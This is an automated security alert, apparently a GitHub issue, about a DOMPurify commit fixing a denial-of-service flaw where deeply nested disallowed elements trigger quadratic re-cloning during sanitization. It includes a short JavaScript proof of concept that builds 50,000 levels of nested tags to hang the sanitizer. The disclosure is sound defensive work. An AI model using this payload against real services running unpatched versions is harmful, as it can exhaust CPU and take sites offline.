[Vulnerability] cure53/DOMPurify: Denial of Service (DoS)

[github-actions]

Potential Security Vulnerability Detected

Repository: cure53/DOMPurify
Commit: 9365501
Author: Cure53
Date: 2026-07-29T13:53:35Z

Commit Message

fix: addressed a possible DoS with IN_PLACE and KEEP_CONTENT, thanks @n2duc (#1555)

fix: fixed an OSV scanner false alert by updating the toml

Pull Request

PR: #1555 - fix: addressed a possible DoS with IN_PLACE and KEEP_CONTENT
Labels: None

Description:
fix: addressed a possible DoS with IN_PLACE and KEEP_CONTENT, thanks @nduc193
fix: fixed an OSV scanner false alert by updating the toml

Analysis

Vulnerability Type: Denial of Service (DoS)
Severity: Medium

Description

When using DOMPurify with KEEP_CONTENT enabled (the default), deeply nested disallowed elements caused O(n^2) complexity during sanitization because each level re-cloned the shrinking subtree. An attacker could craft deeply nested HTML that causes excessive CPU usage, resulting in a DoS. The patch changes the behavior from cloning (O(n^2)) to moving nodes (O(n)), except when removing the walk root itself.

Affected Code

const hoisted = IN_PLACE ? childNodes[i] : cloneNode(childNodes[i], true);
parentNode.insertBefore(hoisted, getNextSibling(currentNode));

Proof of Concept

// Generate deeply nested disallowed elements with KEEP_CONTENT (default)
let payload = '';
const depth = 50000;
for (let i = 0; i < depth; i++) payload += '<div><foo>';
payload += 'text';
for (let i = 0; i < depth; i++) payload += '</foo></div>';
// Before patch: DOMPurify.sanitize(payload) would hang/cause extreme CPU usage
// due to O(n^2) re-cloning at each nesting level
const start = Date.now();
DOMPurify.sanitize(payload);
console.log('Time:', Date.now() - start, 'ms'); // Would be very large before patch

---

This issue was automatically created by Vulnerability Spoiler Alert.
Detected at: 2026-07-29T14:03:26.944Z